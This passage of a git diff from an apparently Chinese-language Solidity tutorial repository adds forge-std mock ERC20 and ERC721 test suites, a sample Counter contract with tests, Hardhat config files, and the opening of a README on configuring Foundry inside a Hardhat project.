+        assertEq(token.totalSupply(), amount);
+        assertEq(token.balanceOf(from), amount);
+    }
+
+    function testBurn(address from, uint256 mintAmount, uint256 burnAmount) public {
+        burnAmount = bound(burnAmount, 0, mintAmount);
+
+        token.mint(from, mintAmount);
+        token.burn(from, burnAmount);
+
+        assertEq(token.totalSupply(), mintAmount - burnAmount);
+        assertEq(token.balanceOf(from), mintAmount - burnAmount);
+    }
+
+    function testApprove(address to, uint256 amount) public {
+        assertTrue(token.approve(to, amount));
+
+        assertEq(token.allowance(address(this), to), amount);
+    }
+
+    function testTransfer(address from, uint256 amount) public {
+        token.mint(address(this), amount);
+
+        assertTrue(token.transfer(from, amount));
+        assertEq(token.totalSupply(), amount);
+
+        if (address(this) == from) {
+            assertEq(token.balanceOf(address(this)), amount);
+        } else {
+            assertEq(token.balanceOf(address(this)), 0);
+            assertEq(token.balanceOf(from), amount);
+        }
+    }
+
+    function testTransferFrom(address to, uint256 approval, uint256 amount) public {
+        amount = bound(amount, 0, approval);
+
+        address from = address(0xABCD);
+
+        token.mint(from, amount);
+
+        vm.prank(from);
+        token.approve(address(this), approval);
+
+        assertTrue(token.transferFrom(from, to, amount));
+        assertEq(token.totalSupply(), amount);
+
+        uint256 app = from == address(this) || approval == type(uint256).max ? approval : approval - amount;
+        assertEq(token.allowance(from, address(this)), app);
+
+        if (from == to) {
+            assertEq(token.balanceOf(from), amount);
+        } else {
+            assertEq(token.balanceOf(from), 0);
+            assertEq(token.balanceOf(to), amount);
+        }
+    }
+
+    function testPermit(uint248 privKey, address to, uint256 amount, uint256 deadline) public {
+        uint256 privateKey = privKey;
+        if (deadline < block.timestamp) deadline = block.timestamp;
+        if (privateKey == 0) privateKey = 1;
+
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(abi.encodePacked('\x19\x01', token.DOMAIN_SEPARATOR(), keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, 0, deadline))))
+        );
+
+        token.permit(owner, to, amount, deadline, v, r, s);
+
+        assertEq(token.allowance(owner, to), amount);
+        assertEq(token.nonces(owner), 1);
+    }
+
+    function testFailBurnInsufficientBalance(address to, uint256 mintAmount, uint256 burnAmount) public {
+        burnAmount = bound(burnAmount, mintAmount + 1, type(uint256).max);
+
+        token.mint(to, mintAmount);
+        token.burn(to, burnAmount);
+    }
+
+    function testFailTransferInsufficientBalance(address to, uint256 mintAmount, uint256 sendAmount) public {
+        sendAmount = bound(sendAmount, mintAmount + 1, type(uint256).max);
+
+        token.mint(address(this), mintAmount);
+        token.transfer(to, sendAmount);
+    }
+
+    function testFailTransferFromInsufficientAllowance(address to, uint256 approval, uint256 amount) public {
+        amount = bound(amount, approval + 1, type(uint256).max);
+
+        address from = address(0xABCD);
+
+        token.mint(from, amount);
+
+        vm.prank(from);
+        token.approve(address(this), approval);
+
+        token.transferFrom(from, to, amount);
+    }
+
+    function testFailTransferFromInsufficientBalance(address to, uint256 mintAmount, uint256 sendAmount) public {
+        sendAmount = bound(sendAmount, mintAmount + 1, type(uint256).max);
+
+        address from = address(0xABCD);
+
+        token.mint(from, mintAmount);
+
+        vm.prank(from);
+        token.approve(address(this), sendAmount);
+
+        token.transferFrom(from, to, sendAmount);
+    }
+
+    function testFailPermitBadNonce(uint256 privateKey, address to, uint256 amount, uint256 deadline, uint256 nonce) public {
+        if (deadline < block.timestamp) deadline = block.timestamp;
+        if (privateKey == 0) privateKey = 1;
+        if (nonce == 0) nonce = 1;
+
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(
+                abi.encodePacked('\x19\x01', token.DOMAIN_SEPARATOR(), keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, nonce, deadline)))
+            )
+        );
+
+        token.permit(owner, to, amount, deadline, v, r, s);
+    }
+
+    function testFailPermitBadDeadline(uint256 privateKey, address to, uint256 amount, uint256 deadline) public {
+        if (deadline < block.timestamp) deadline = block.timestamp;
+        if (privateKey == 0) privateKey = 1;
+
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(abi.encodePacked('\x19\x01', token.DOMAIN_SEPARATOR(), keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, 0, deadline))))
+        );
+
+        token.permit(owner, to, amount, deadline + 1, v, r, s);
+    }
+
+    function testFailPermitPastDeadline(uint256 privateKey, address to, uint256 amount, uint256 deadline) public {
+        deadline = bound(deadline, 0, block.timestamp - 1);
+        if (privateKey == 0) privateKey = 1;
+
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(abi.encodePacked('\x19\x01', token.DOMAIN_SEPARATOR(), keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, 0, deadline))))
+        );
+
+        token.permit(owner, to, amount, deadline, v, r, s);
+    }
+
+    function testFailPermitReplay(uint256 privateKey, address to, uint256 amount, uint256 deadline) public {
+        if (deadline < block.timestamp) deadline = block.timestamp;
+        if (privateKey == 0) privateKey = 1;
+
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(abi.encodePacked('\x19\x01', token.DOMAIN_SEPARATOR(), keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, 0, deadline))))
+        );
+
+        token.permit(owner, to, amount, deadline, v, r, s);
+        token.permit(owner, to, amount, deadline, v, r, s);
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/mocks/MockERC721.t.sol b/basic/41-foundry/my_project/lib/forge-std/test/mocks/MockERC721.t.sol
new file mode 100644
index 000000000..8c7805b3f
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/mocks/MockERC721.t.sol
@@ -0,0 +1,714 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import {MockERC721, IERC721TokenReceiver} from '../../src/mocks/MockERC721.sol';
+import {StdCheats} from '../../src/StdCheats.sol';
+import {Test} from '../../src/Test.sol';
+
+contract ERC721Recipient is IERC721TokenReceiver {
+    address public operator;
+    address public from;
+    uint256 public id;
+    bytes public data;
+
+    function onERC721Received(address _operator, address _from, uint256 _id, bytes calldata _data) public virtual override returns (bytes4) {
+        operator = _operator;
+        from = _from;
+        id = _id;
+        data = _data;
+
+        return IERC721TokenReceiver.onERC721Received.selector;
+    }
+}
+
+contract RevertingERC721Recipient is IERC721TokenReceiver {
+    function onERC721Received(address, address, uint256, bytes calldata) public virtual override returns (bytes4) {
+        revert(string(abi.encodePacked(IERC721TokenReceiver.onERC721Received.selector)));
+    }
+}
+
+contract WrongReturnDataERC721Recipient is IERC721TokenReceiver {
+    function onERC721Received(address, address, uint256, bytes calldata) public virtual override returns (bytes4) {
+        return 0xCAFEBEEF;
+    }
+}
+
+contract NonERC721Recipient {}
+
+contract Token_ERC721 is MockERC721 {
+    constructor(string memory _name, string memory _symbol) {
+        initialize(_name, _symbol);
+    }
+
+    function tokenURI(uint256) public pure virtual override returns (string memory) {}
+
+    function mint(address to, uint256 tokenId) public virtual {
+        _mint(to, tokenId);
+    }
+
+    function burn(uint256 tokenId) public virtual {
+        _burn(tokenId);
+    }
+
+    function safeMint(address to, uint256 tokenId) public virtual {
+        _safeMint(to, tokenId);
+    }
+
+    function safeMint(address to, uint256 tokenId, bytes memory data) public virtual {
+        _safeMint(to, tokenId, data);
+    }
+}
+
+contract MockERC721Test is StdCheats, Test {
+    Token_ERC721 token;
+
+    function setUp() public {
+        token = new Token_ERC721('Token', 'TKN');
+    }
+
+    function invariantMetadata() public view {
+        assertEq(token.name(), 'Token');
+        assertEq(token.symbol(), 'TKN');
+    }
+
+    function testMint() public {
+        token.mint(address(0xBEEF), 1337);
+
+        assertEq(token.balanceOf(address(0xBEEF)), 1);
+        assertEq(token.ownerOf(1337), address(0xBEEF));
+    }
+
+    function testBurn() public {
+        token.mint(address(0xBEEF), 1337);
+        token.burn(1337);
+
+        assertEq(token.balanceOf(address(0xBEEF)), 0);
+
+        vm.expectRevert('NOT_MINTED');
+        token.ownerOf(1337);
+    }
+
+    function testApprove() public {
+        token.mint(address(this), 1337);
+
+        token.approve(address(0xBEEF), 1337);
+
+        assertEq(token.getApproved(1337), address(0xBEEF));
+    }
+
+    function testApproveBurn() public {
+        token.mint(address(this), 1337);
+
+        token.approve(address(0xBEEF), 1337);
+
+        token.burn(1337);
+
+        assertEq(token.balanceOf(address(this)), 0);
+        assertEq(token.getApproved(1337), address(0));
+
+        vm.expectRevert('NOT_MINTED');
+        token.ownerOf(1337);
+    }
+
+    function testApproveAll() public {
+        token.setApprovalForAll(address(0xBEEF), true);
+
+        assertTrue(token.isApprovedForAll(address(this), address(0xBEEF)));
+    }
+
+    function testTransferFrom() public {
+        address from = address(0xABCD);
+
+        token.mint(from, 1337);
+
+        vm.prank(from);
+        token.approve(address(this), 1337);
+
+        token.transferFrom(from, address(0xBEEF), 1337);
+
+        assertEq(token.getApproved(1337), address(0));
+        assertEq(token.ownerOf(1337), address(0xBEEF));
+        assertEq(token.balanceOf(address(0xBEEF)), 1);
+        assertEq(token.balanceOf(from), 0);
+    }
+
+    function testTransferFromSelf() public {
+        token.mint(address(this), 1337);
+
+        token.transferFrom(address(this), address(0xBEEF), 1337);
+
+        assertEq(token.getApproved(1337), address(0));
+        assertEq(token.ownerOf(1337), address(0xBEEF));
+        assertEq(token.balanceOf(address(0xBEEF)), 1);
+        assertEq(token.balanceOf(address(this)), 0);
+    }
+
+    function testTransferFromApproveAll() public {
+        address from = address(0xABCD);
+
+        token.mint(from, 1337);
+
+        vm.prank(from);
+        token.setApprovalForAll(address(this), true);
+
+        token.transferFrom(from, address(0xBEEF), 1337);
+
+        assertEq(token.getApproved(1337), address(0));
+        assertEq(token.ownerOf(1337), address(0xBEEF));
+        assertEq(token.balanceOf(address(0xBEEF)), 1);
+        assertEq(token.balanceOf(from), 0);
+    }
+
+    function testSafeTransferFromToEOA() public {
+        address from = address(0xABCD);
+
+        token.mint(from, 1337);
+
+        vm.prank(from);
+        token.setApprovalForAll(address(this), true);
+
+        token.safeTransferFrom(from, address(0xBEEF), 1337);
+
+        assertEq(token.getApproved(1337), address(0));
+        assertEq(token.ownerOf(1337), address(0xBEEF));
+        assertEq(token.balanceOf(address(0xBEEF)), 1);
+        assertEq(token.balanceOf(from), 0);
+    }
+
+    function testSafeTransferFromToERC721Recipient() public {
+        address from = address(0xABCD);
+        ERC721Recipient recipient = new ERC721Recipient();
+
+        token.mint(from, 1337);
+
+        vm.prank(from);
+        token.setApprovalForAll(address(this), true);
+
+        token.safeTransferFrom(from, address(recipient), 1337);
+
+        assertEq(token.getApproved(1337), address(0));
+        assertEq(token.ownerOf(1337), address(recipient));
+        assertEq(token.balanceOf(address(recipient)), 1);
+        assertEq(token.balanceOf(from), 0);
+
+        assertEq(recipient.operator(), address(this));
+        assertEq(recipient.from(), from);
+        assertEq(recipient.id(), 1337);
+        assertEq(recipient.data(), '');
+    }
+
+    function testSafeTransferFromToERC721RecipientWithData() public {
+        address from = address(0xABCD);
+        ERC721Recipient recipient = new ERC721Recipient();
+
+        token.mint(from, 1337);
+
+        vm.prank(from);
+        token.setApprovalForAll(address(this), true);
+
+        token.safeTransferFrom(from, address(recipient), 1337, 'testing 123');
+
+        assertEq(token.getApproved(1337), address(0));
+        assertEq(token.ownerOf(1337), address(recipient));
+        assertEq(token.balanceOf(address(recipient)), 1);
+        assertEq(token.balanceOf(from), 0);
+
+        assertEq(recipient.operator(), address(this));
+        assertEq(recipient.from(), from);
+        assertEq(recipient.id(), 1337);
+        assertEq(recipient.data(), 'testing 123');
+    }
+
+    function testSafeMintToEOA() public {
+        token.safeMint(address(0xBEEF), 1337);
+
+        assertEq(token.ownerOf(1337), address(address(0xBEEF)));
+        assertEq(token.balanceOf(address(address(0xBEEF))), 1);
+    }
+
+    function testSafeMintToERC721Recipient() public {
+        ERC721Recipient to = new ERC721Recipient();
+
+        token.safeMint(address(to), 1337);
+
+        assertEq(token.ownerOf(1337), address(to));
+        assertEq(token.balanceOf(address(to)), 1);
+
+        assertEq(to.operator(), address(this));
+        assertEq(to.from(), address(0));
+        assertEq(to.id(), 1337);
+        assertEq(to.data(), '');
+    }
+
+    function testSafeMintToERC721RecipientWithData() public {
+        ERC721Recipient to = new ERC721Recipient();
+
+        token.safeMint(address(to), 1337, 'testing 123');
+
+        assertEq(token.ownerOf(1337), address(to));
+        assertEq(token.balanceOf(address(to)), 1);
+
+        assertEq(to.operator(), address(this));
+        assertEq(to.from(), address(0));
+        assertEq(to.id(), 1337);
+        assertEq(to.data(), 'testing 123');
+    }
+
+    function testFailMintToZero() public {
+        token.mint(address(0), 1337);
+    }
+
+    function testFailDoubleMint() public {
+        token.mint(address(0xBEEF), 1337);
+        token.mint(address(0xBEEF), 1337);
+    }
+
+    function testFailBurnUnMinted() public {
+        token.burn(1337);
+    }
+
+    function testFailDoubleBurn() public {
+        token.mint(address(0xBEEF), 1337);
+
+        token.burn(1337);
+        token.burn(1337);
+    }
+
+    function testFailApproveUnMinted() public {
+        token.approve(address(0xBEEF), 1337);
+    }
+
+    function testFailApproveUnAuthorized() public {
+        token.mint(address(0xCAFE), 1337);
+
+        token.approve(address(0xBEEF), 1337);
+    }
+
+    function testFailTransferFromUnOwned() public {
+        token.transferFrom(address(0xFEED), address(0xBEEF), 1337);
+    }
+
+    function testFailTransferFromWrongFrom() public {
+        token.mint(address(0xCAFE), 1337);
+
+        token.transferFrom(address(0xFEED), address(0xBEEF), 1337);
+    }
+
+    function testFailTransferFromToZero() public {
+        token.mint(address(this), 1337);
+
+        token.transferFrom(address(this), address(0), 1337);
+    }
+
+    function testFailTransferFromNotOwner() public {
+        token.mint(address(0xFEED), 1337);
+
+        token.transferFrom(address(0xFEED), address(0xBEEF), 1337);
+    }
+
+    function testFailSafeTransferFromToNonERC721Recipient() public {
+        token.mint(address(this), 1337);
+
+        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), 1337);
+    }
+
+    function testFailSafeTransferFromToNonERC721RecipientWithData() public {
+        token.mint(address(this), 1337);
+
+        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), 1337, 'testing 123');
+    }
+
+    function testFailSafeTransferFromToRevertingERC721Recipient() public {
+        token.mint(address(this), 1337);
+
+        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), 1337);
+    }
+
+    function testFailSafeTransferFromToRevertingERC721RecipientWithData() public {
+        token.mint(address(this), 1337);
+
+        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), 1337, 'testing 123');
+    }
+
+    function testFailSafeTransferFromToERC721RecipientWithWrongReturnData() public {
+        token.mint(address(this), 1337);
+
+        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), 1337);
+    }
+
+    function testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData() public {
+        token.mint(address(this), 1337);
+
+        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), 1337, 'testing 123');
+    }
+
+    function testFailSafeMintToNonERC721Recipient() public {
+        token.safeMint(address(new NonERC721Recipient()), 1337);
+    }
+
+    function testFailSafeMintToNonERC721RecipientWithData() public {
+        token.safeMint(address(new NonERC721Recipient()), 1337, 'testing 123');
+    }
+
+    function testFailSafeMintToRevertingERC721Recipient() public {
+        token.safeMint(address(new RevertingERC721Recipient()), 1337);
+    }
+
+    function testFailSafeMintToRevertingERC721RecipientWithData() public {
+        token.safeMint(address(new RevertingERC721Recipient()), 1337, 'testing 123');
+    }
+
+    function testFailSafeMintToERC721RecipientWithWrongReturnData() public {
+        token.safeMint(address(new WrongReturnDataERC721Recipient()), 1337);
+    }
+
+    function testFailSafeMintToERC721RecipientWithWrongReturnDataWithData() public {
+        token.safeMint(address(new WrongReturnDataERC721Recipient()), 1337, 'testing 123');
+    }
+
+    function testFailBalanceOfZeroAddress() public view {
+        token.balanceOf(address(0));
+    }
+
+    function testFailOwnerOfUnminted() public view {
+        token.ownerOf(1337);
+    }
+
+    function testMetadata(string memory name, string memory symbol) public {
+        MockERC721 tkn = new Token_ERC721(name, symbol);
+
+        assertEq(tkn.name(), name);
+        assertEq(tkn.symbol(), symbol);
+    }
+
+    function testMint(address to, uint256 id) public {
+        if (to == address(0)) to = address(0xBEEF);
+
+        token.mint(to, id);
+
+        assertEq(token.balanceOf(to), 1);
+        assertEq(token.ownerOf(id), to);
+    }
+
+    function testBurn(address to, uint256 id) public {
+        if (to == address(0)) to = address(0xBEEF);
+
+        token.mint(to, id);
+        token.burn(id);
+
+        assertEq(token.balanceOf(to), 0);
+
+        vm.expectRevert('NOT_MINTED');
+        token.ownerOf(id);
+    }
+
+    function testApprove(address to, uint256 id) public {
+        if (to == address(0)) to = address(0xBEEF);
+
+        token.mint(address(this), id);
+
+        token.approve(to, id);
+
+        assertEq(token.getApproved(id), to);
+    }
+
+    function testApproveBurn(address to, uint256 id) public {
+        token.mint(address(this), id);
+
+        token.approve(address(to), id);
+
+        token.burn(id);
+
+        assertEq(token.balanceOf(address(this)), 0);
+        assertEq(token.getApproved(id), address(0));
+
+        vm.expectRevert('NOT_MINTED');
+        token.ownerOf(id);
+    }
+
+    function testApproveAll(address to, bool approved) public {
+        token.setApprovalForAll(to, approved);
+
+        assertEq(token.isApprovedForAll(address(this), to), approved);
+    }
+
+    function testTransferFrom(uint256 id, address to) public {
+        address from = address(0xABCD);
+
+        if (to == address(0) || to == from) to = address(0xBEEF);
+
+        token.mint(from, id);
+
+        vm.prank(from);
+        token.approve(address(this), id);
+
+        token.transferFrom(from, to, id);
+
+        assertEq(token.getApproved(id), address(0));
+        assertEq(token.ownerOf(id), to);
+        assertEq(token.balanceOf(to), 1);
+        assertEq(token.balanceOf(from), 0);
+    }
+
+    function testTransferFromSelf(uint256 id, address to) public {
+        if (to == address(0) || to == address(this)) to = address(0xBEEF);
+
+        token.mint(address(this), id);
+
+        token.transferFrom(address(this), to, id);
+
+        assertEq(token.getApproved(id), address(0));
+        assertEq(token.ownerOf(id), to);
+        assertEq(token.balanceOf(to), 1);
+        assertEq(token.balanceOf(address(this)), 0);
+    }
+
+    function testTransferFromApproveAll(uint256 id, address to) public {
+        address from = address(0xABCD);
+
+        if (to == address(0) || to == from) to = address(0xBEEF);
+
+        token.mint(from, id);
+
+        vm.prank(from);
+        token.setApprovalForAll(address(this), true);
+
+        token.transferFrom(from, to, id);
+
+        assertEq(token.getApproved(id), address(0));
+        assertEq(token.ownerOf(id), to);
+        assertEq(token.balanceOf(to), 1);
+        assertEq(token.balanceOf(from), 0);
+    }
+
+    function testSafeTransferFromToEOA(uint256 id, address to) public {
+        address from = address(0xABCD);
+
+        if (to == address(0) || to == from) to = address(0xBEEF);
+
+        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
+
+        token.mint(from, id);
+
+        vm.prank(from);
+        token.setApprovalForAll(address(this), true);
+
+        token.safeTransferFrom(from, to, id);
+
+        assertEq(token.getApproved(id), address(0));
+        assertEq(token.ownerOf(id), to);
+        assertEq(token.balanceOf(to), 1);
+        assertEq(token.balanceOf(from), 0);
+    }
+
+    function testSafeTransferFromToERC721Recipient(uint256 id) public {
+        address from = address(0xABCD);
+
+        ERC721Recipient recipient = new ERC721Recipient();
+
+        token.mint(from, id);
+
+        vm.prank(from);
+        token.setApprovalForAll(address(this), true);
+
+        token.safeTransferFrom(from, address(recipient), id);
+
+        assertEq(token.getApproved(id), address(0));
+        assertEq(token.ownerOf(id), address(recipient));
+        assertEq(token.balanceOf(address(recipient)), 1);
+        assertEq(token.balanceOf(from), 0);
+
+        assertEq(recipient.operator(), address(this));
+        assertEq(recipient.from(), from);
+        assertEq(recipient.id(), id);
+        assertEq(recipient.data(), '');
+    }
+
+    function testSafeTransferFromToERC721RecipientWithData(uint256 id, bytes calldata data) public {
+        address from = address(0xABCD);
+        ERC721Recipient recipient = new ERC721Recipient();
+
+        token.mint(from, id);
+
+        vm.prank(from);
+        token.setApprovalForAll(address(this), true);
+
+        token.safeTransferFrom(from, address(recipient), id, data);
+
+        assertEq(token.getApproved(id), address(0));
+        assertEq(token.ownerOf(id), address(recipient));
+        assertEq(token.balanceOf(address(recipient)), 1);
+        assertEq(token.balanceOf(from), 0);
+
+        assertEq(recipient.operator(), address(this));
+        assertEq(recipient.from(), from);
+        assertEq(recipient.id(), id);
+        assertEq(recipient.data(), data);
+    }
+
+    function testSafeMintToEOA(uint256 id, address to) public {
+        if (to == address(0)) to = address(0xBEEF);
+
+        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
+
+        token.safeMint(to, id);
+
+        assertEq(token.ownerOf(id), address(to));
+        assertEq(token.balanceOf(address(to)), 1);
+    }
+
+    function testSafeMintToERC721Recipient(uint256 id) public {
+        ERC721Recipient to = new ERC721Recipient();
+
+        token.safeMint(address(to), id);
+
+        assertEq(token.ownerOf(id), address(to));
+        assertEq(token.balanceOf(address(to)), 1);
+
+        assertEq(to.operator(), address(this));
+        assertEq(to.from(), address(0));
+        assertEq(to.id(), id);
+        assertEq(to.data(), '');
+    }
+
+    function testSafeMintToERC721RecipientWithData(uint256 id, bytes calldata data) public {
+        ERC721Recipient to = new ERC721Recipient();
+
+        token.safeMint(address(to), id, data);
+
+        assertEq(token.ownerOf(id), address(to));
+        assertEq(token.balanceOf(address(to)), 1);
+
+        assertEq(to.operator(), address(this));
+        assertEq(to.from(), address(0));
+        assertEq(to.id(), id);
+        assertEq(to.data(), data);
+    }
+
+    function testFailMintToZero(uint256 id) public {
+        token.mint(address(0), id);
+    }
+
+    function testFailDoubleMint(uint256 id, address to) public {
+        if (to == address(0)) to = address(0xBEEF);
+
+        token.mint(to, id);
+        token.mint(to, id);
+    }
+
+    function testFailBurnUnMinted(uint256 id) public {
+        token.burn(id);
+    }
+
+    function testFailDoubleBurn(uint256 id, address to) public {
+        if (to == address(0)) to = address(0xBEEF);
+
+        token.mint(to, id);
+
+        token.burn(id);
+        token.burn(id);
+    }
+
+    function testFailApproveUnMinted(uint256 id, address to) public {
+        token.approve(to, id);
+    }
+
+    function testFailApproveUnAuthorized(address owner, uint256 id, address to) public {
+        if (owner == address(0) || owner == address(this)) owner = address(0xBEEF);
+
+        token.mint(owner, id);
+
+        token.approve(to, id);
+    }
+
+    function testFailTransferFromUnOwned(address from, address to, uint256 id) public {
+        token.transferFrom(from, to, id);
+    }
+
+    function testFailTransferFromWrongFrom(address owner, address from, address to, uint256 id) public {
+        if (owner == address(0)) to = address(0xBEEF);
+        if (from == owner) revert();
+
+        token.mint(owner, id);
+
+        token.transferFrom(from, to, id);
+    }
+
+    function testFailTransferFromToZero(uint256 id) public {
+        token.mint(address(this), id);
+
+        token.transferFrom(address(this), address(0), id);
+    }
+
+    function testFailTransferFromNotOwner(address from, address to, uint256 id) public {
+        if (from == address(this)) from = address(0xBEEF);
+
+        token.mint(from, id);
+
+        token.transferFrom(from, to, id);
+    }
+
+    function testFailSafeTransferFromToNonERC721Recipient(uint256 id) public {
+        token.mint(address(this), id);
+
+        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), id);
+    }
+
+    function testFailSafeTransferFromToNonERC721RecipientWithData(uint256 id, bytes calldata data) public {
+        token.mint(address(this), id);
+
+        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), id, data);
+    }
+
+    function testFailSafeTransferFromToRevertingERC721Recipient(uint256 id) public {
+        token.mint(address(this), id);
+
+        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), id);
+    }
+
+    function testFailSafeTransferFromToRevertingERC721RecipientWithData(uint256 id, bytes calldata data) public {
+        token.mint(address(this), id);
+
+        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), id, data);
+    }
+
+    function testFailSafeTransferFromToERC721RecipientWithWrongReturnData(uint256 id) public {
+        token.mint(address(this), id);
+
+        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), id);
+    }
+
+    function testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData(uint256 id, bytes calldata data) public {
+        token.mint(address(this), id);
+
+        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), id, data);
+    }
+
+    function testFailSafeMintToNonERC721Recipient(uint256 id) public {
+        token.safeMint(address(new NonERC721Recipient()), id);
+    }
+
+    function testFailSafeMintToNonERC721RecipientWithData(uint256 id, bytes calldata data) public {
+        token.safeMint(address(new NonERC721Recipient()), id, data);
+    }
+
+    function testFailSafeMintToRevertingERC721Recipient(uint256 id) public {
+        token.safeMint(address(new RevertingERC721Recipient()), id);
+    }
+
+    function testFailSafeMintToRevertingERC721RecipientWithData(uint256 id, bytes calldata data) public {
+        token.safeMint(address(new RevertingERC721Recipient()), id, data);
+    }
+
+    function testFailSafeMintToERC721RecipientWithWrongReturnData(uint256 id) public {
+        token.safeMint(address(new WrongReturnDataERC721Recipient()), id);
+    }
+
+    function testFailSafeMintToERC721RecipientWithWrongReturnDataWithData(uint256 id, bytes calldata data) public {
+        token.safeMint(address(new WrongReturnDataERC721Recipient()), id, data);
+    }
+
+    function testFailOwnerOfUnminted(uint256 id) public view {
+        token.ownerOf(id);
+    }
+}
diff --git a/basic/41-foundry/my_project/remappings.txt b/basic/41-foundry/my_project/remappings.txt
new file mode 100644
index 000000000..feaba2dd1
--- /dev/null
+++ b/basic/41-foundry/my_project/remappings.txt
@@ -0,0 +1 @@
+forge-std/=lib/forge-std/src/
diff --git a/basic/41-foundry/my_project/script/Counter.s.sol b/basic/41-foundry/my_project/script/Counter.s.sol
new file mode 100644
index 000000000..08439d8ac
--- /dev/null
+++ b/basic/41-foundry/my_project/script/Counter.s.sol
@@ -0,0 +1,12 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.13;
+
+import {Script, console} from 'forge-std/Script.sol';
+
+contract CounterScript is Script {
+    function setUp() public {}
+
+    function run() public {
+        vm.broadcast();
+    }
+}
diff --git a/basic/41-foundry/my_project/src/Counter.sol b/basic/41-foundry/my_project/src/Counter.sol
new file mode 100644
index 000000000..ee4e4a646
--- /dev/null
+++ b/basic/41-foundry/my_project/src/Counter.sol
@@ -0,0 +1,19 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.13;
+
+contract Counter {
+    uint256 public number;
+
+    function setNumber(uint256 newNumber) public {
+        number = newNumber;
+    }
+
+    function increment() public {
+        number++;
+    }
+
+    function decrement() public {
+        require(number >= 1, 'number must >= 1');
+        number--;
+    }
+}
diff --git a/basic/41-foundry/my_project/test/Counter.t.sol b/basic/41-foundry/my_project/test/Counter.t.sol
new file mode 100644
index 000000000..ba767e3b0
--- /dev/null
+++ b/basic/41-foundry/my_project/test/Counter.t.sol
@@ -0,0 +1,38 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.13;
+
+import {Test, console} from 'forge-std/Test.sol';
+import {Counter} from '../src/Counter.sol';
+
+contract CounterTest is Test {
+    Counter public counter;
+
+    /// 可选函数 在运行每个测试用例之前调用
+    function setUp() public {
+        counter = new Counter();
+        counter.setNumber(0);
+    }
+
+    function test_NumberIs0() public view {
+        assertEq(counter.number(), 0);
+    }
+
+    function test_Increment() public {
+        counter.increment();
+        assertEq(counter.number(), 1);
+    }
+
+    /// 失败的测试用例 uint256 不得为负数
+    function testFail_decrement() public {
+        counter.decrement();
+    }
+
+    function testFuzz_SetNumber(uint256 x) public {
+        counter.setNumber(x);
+        assertEq(counter.number(), x);
+    }
+
+    function test_Example() public pure {
+        assertTrue(true);
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/.gitignore b/basic/41-foundry/with-hardhat/.gitignore
new file mode 100644
index 000000000..29afbaa3c
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/.gitignore
@@ -0,0 +1,20 @@
+node_modules
+.env
+
+# Hardhat files
+/cache
+/artifacts
+
+# TypeChain files
+/typechain
+/typechain-types
+
+# solidity-coverage files
+/coverage
+/coverage.json
+
+# Hardhat Ignition default folder for deployments against a local node
+ignition/deployments/chain-31337
+
+/cache_forge
+/out
\ No newline at end of file
diff --git a/basic/41-foundry/with-hardhat/.gitmodules b/basic/41-foundry/with-hardhat/.gitmodules
new file mode 100644
index 000000000..888d42dcd
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/.gitmodules
@@ -0,0 +1,3 @@
+[submodule "lib/forge-std"]
+	path = lib/forge-std
+	url = https://github.com/foundry-rs/forge-std
diff --git a/basic/41-foundry/with-hardhat/README-CN.md b/basic/41-foundry/with-hardhat/README-CN.md
new file mode 100644
index 000000000..d9ddd0c43
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/README-CN.md
@@ -0,0 +1,130 @@
+## 在 Hardhat 项目中配置 Foundry
+
+Foundry 框架在代码测试方面相比 Hardhat 有诸多优势，例如
+
+- 能使用 solidity 写测试
+- 能进行 fuzz testing
+- 运行速度快
+
+但在代码部署方面，Foundry 在现阶段还是没有 Hardhat 方便，而作为开发者，我们当然是优势都想要
+
+本文就将介绍如何在 Hardhat 项目中配置 Foundry
+
+## 初始化一个 Hardhat 项目
+
+```bash
+mkdir with-hardhat
+cd with-hardhat
+# 使用 pnpm 初始化项目
+pnpm init
+# 安装 hardhat
+pnpm add -D hardhat
+# 初始化项目
+pnpm hardhat init
+```
+
+## 安装 hardhat-foundry 插件
+
+```bash
+pnpm add -D @nomicfoundation/hardhat-foundry
+# hardhat 工具包插件
+pnpm add -D @nomicfoundation/hardhat-toolbox
+# chai 断言库插件
+pnpm add -D @nomicfoundation/hardhat-chai-matchers
+```
+
